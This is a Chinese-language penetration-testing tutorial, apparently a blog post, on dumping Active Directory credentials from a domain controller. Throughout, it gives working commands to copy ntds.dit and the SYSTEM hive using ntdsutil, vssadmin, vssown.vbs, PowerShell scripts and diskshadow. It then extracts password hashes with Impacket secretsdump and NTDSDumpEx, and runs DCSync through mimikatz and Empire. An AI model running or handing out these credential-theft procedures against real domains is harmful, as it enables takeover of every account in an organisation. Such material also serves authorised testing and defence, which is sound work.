首先,ntds.dit储存着域控信息上的所有用户的信息,且位置位于如下。
ntds.dit文件位置: C:\Windows\NTDS\NTDS.dit
system文件位置:C:\Windows\System32\config\SYSTEM
sam文件位置:C:\Windows\System32\config\SAM
那为什么我们不能直接复制出来呢,而是要选择导出。原因是复制不了,如下图所示。
image.png

一、导出ntds.dit

1、Ntdsutil.exe

ntdsutil.exe是一个为活动目录提供管理机制的命令行工具。
ntdsutil.exe支持的操作系统有 Windows Server 2003、 Windows Server 2008、 Windows Server 2012
这里我用Win2016也是成功的

  1. 创建快照
  2. ntdsutil snapshot "activate instance ntds" create quit quit
  3. 挂载快照
  4. ntdsutil snapshot "mount {c4c25fa3-510b-4ae7-92b9-a29c68c49d0f}" quit quit
  5. 拷贝ntds.ditC
  6. copy C:\$SNAP_202101172022_VOLUMEC$\\Windows\NTDS\ntds.dit C:\\ntds.dit
  7. 卸载并删除快照
  8. ntdsutil.exe snapshot "umount {850bc5ab-7620-48fa-bd1f-c23c8150a3f0}" "delete {850bc5ab-7620-48fa-bd1f-c23c8150a3f0}" q q
  9. 查看是否删除成功
  10. ntdsutil.exe snapshot "List All" q q
  11. 注意这里的{}里的内容要根据实际情况进行改变

或者

  1. ntdsutil "ac i ntds" "ifm" "create full c:\temp" q q

image.png
image.png

2、vssadmin

  1. 创建快照
  2. vssadmin.exe create shadow /for=c:
  3. 复制ntds.ditsystem.hiv
  4. copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy3\windows\ntds\ntds.dit c:\\ntds2.dit
  5. copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy3\Windows\System32\config\SYSTEM C:\system.hiv
  6. 删除快照
  7. vssadmin Delete Shadows /For=C: /Oldest
  8. vssadmin Delete Shadows /For=C: /qui

成功复制出ntds2.dit
image.png

3、vssown.vbs

https://github.com/lanmaster53/ptscripts/blob/master/windows/vssown.vbs
和vssadmin类似

  1. 启动
  2. cscript vssown.vbs /start
  3. 创建
  4. cscript vssown.vbs /start
  5. 列出
  6. cscript vssown.vbs /start
  7. 复制
  8. copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\windows\ntds\ntds.dit c:\\ntds3.dit
  9. 删除
  10. cscript vssown.vbs /delete {C0D4CCE8-7B14-4F87-A360-EF9571D70A45}

注意这里删除是删除ID值
image.png

4、powershell

Copy-VSS
Nisang的脚本,非常方便,就两个命令,但是会被Windows-DF直接干掉

  1. import-module .\Copy-VSS.ps1
  2. Copy-VSS

VolumeShadowCopyTools.ps1
powersploit的脚本,也会直接被Windows-DF直接干掉

  1. Import-Module .\VolumeShadowCopyTools.ps1
  2. New-VolumeShadowCopy -Volume C:\
  3. Get-VolumeShadowCopy

5、Diskshadow

渗透测试中,也可以用来执行命令,需要将想执行的命令先写入txt中

  1. exec c:\windows\system32\calc.exe

image.png
b.txt

  1. //设置卷影拷贝
  2. set context persistent nowriters
  3. //添加卷
  4. add volume c: alias someAlias
  5. //创建快照
  6. create
  7. //分配虚拟磁盘盘符
  8. expose %someAlias% k:
  9. //将ntds.dit复制到C盘c:\ntds.dit
  10. exec "cmd.exe" /c copy K:\Windows\NTDS\ntds.dit c:\ntds4.dit
  11. //删除所有快照
  12. delete shadows all
  13. //列出系统中的卷影拷贝
  14. list shadows all
  15. //重置
  16. reset
  17. //退出
  18. exit

注意必须要在sysytem32目录下,不然会失败。
image.png
c:>reg save hklm\system c:\windows\temp\system.hive
获取秘钥,这是Diskshadow特有的,如果没有这个秘钥无法解密

注意——解密ntds.dit基本上都需要SYSTEM文件,记得导出ntds.dit的时候,要连同它一起导出,他作为秘钥来进行解密
或者用此命令
reg save hklm\system c:\system2.hive
image.png

二、解析ntds.dit获取hash

1、Impacket工具包

https://github.com/SecureAuthCorp/impacket
里面有很多工具,具体可以看这个文章
https://www.moonsec.com/archives/588
image.png
我们主要解析Ntds.dit用到的是其中的secretsdump.py

python3 secretsdump.py -system SYSTEM -ntds ntds.dit LOCAL
image.png

2、NTDSDumpex.exe

https://github.com/zcgonvh/NTDSDumpEx/releases
NTDSDumpEx -d ntds.dit -s system -o domain.txt
很方便
image.png

3、其他

ntdsxtract
DSinternals Powershell脚本
Esedbexport

  1. apt-get install update
  2. apt-get install autoconf automake autopoint libtool pkg-config
  3. wget https://github.com/libyal/libesedb/releases/download/20200418/libesedb-experimental-20200418.tar.gz
  4. cd libesedb-experimental-20191220
  5. ./configure
  6. make && make install && ldconfig

三、DCsync获取Hash

DCsync可以有效地“假冒”一个域控制器,并可以向目标域控制器请求帐户密码数据。他集成于Mimikatz里
利用条件:获得以下任一的权限
Administrators组内的用户
Domain Admins组内的用户
Enterprise Admins组内的用户
域控制器的计算机帐户

  1. mimikatz.exe
  2. privilege::debug
  3. lsadump::dcsync /domain:hacker.com /all /csv

可以看到非常的好用
image.png
image.png

powershell脚本 DCsync

这里使用Empire的 Invoke-DCSync
image.png

资料
https://blog.csdn.net/qq_34640691/article/details/111866193